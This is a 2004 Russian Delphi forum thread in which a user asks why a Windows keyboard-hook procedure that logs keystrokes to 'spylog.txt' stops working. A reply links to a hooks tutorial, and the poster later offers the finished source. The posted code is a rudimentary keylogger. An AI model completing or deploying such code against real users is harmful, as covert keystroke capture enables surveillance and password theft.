Вниз
Скачать: CL | DM;

Не работает перехват сообщения   Найти похожие ветки 

← →
faith   (2004-05-05 14:40) [0]

После записи в файл перестают перехватываться сообщения, кстати и файл сам не записывается. Странно как-то, если кто знает подкажите, пожалуйста.


function KeyboardProc(nCode:integer; wParam, lParam: Longint):Longint;
 stdcall;
var wrkStr: ShortString;
   tfile : textfile;
begin
 if nCode <0 then begin
   Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
   exit;
 end;

   case wParam of
     VK_ESCAPE : wrkStr := ""ESC"";
     VK_RETURN : wrkStr := ""ENTER"";
   else
     wrkStr := Chr(MapVirtualKey(wParam,2));
   end;

   AssignFile(tfile,"spylog.txt");
   Rewrite(tFile);
   writeln(tFile,wrkStr);
   CloseFile(tFile);

 Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
end;


← →
VMcL ©   (2004-05-05 17:41) [1]

>>faith  (05.05.04 14:40)

http://www.delphimaster.ru/articles/hooks/index.html
?


← →
faith   (2004-05-05 23:44) [2]

Класно, что-то умное и интересное. Сейчас прочту. Спасибо, ссылка хорошая.


← →
faith   (2004-05-08 18:15) [3]

Спасибо за ссылку, очень помогло. Хотя в их примере есть одна ошибка, но это несущественно. Самый грамотный мануал по этой теме! Кому нужен результат с исходниками (получилась довольно неплохо), пишите!



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.45 MB
Время: 0.024 c
1-1086166558
Unknown user
2004-06-02 12:55
2004.06.13
Закрашивание фона под текстом


14-1085642709
YurikGl
2004-05-27 11:25
2004.06.13
Опять форум тормозит... :(


3-1084941476
hyper_omsk
2004-05-19 08:37
2004.06.13
Поиск приближенной даты SQL


6-1082544631
rimd1
2004-04-21 14:50
2004.06.13
процессы и сеть


14-1085545258
Романов Р.В.
2004-05-26 08:20
2004.06.13
Олимпиада по программированию




   Наверх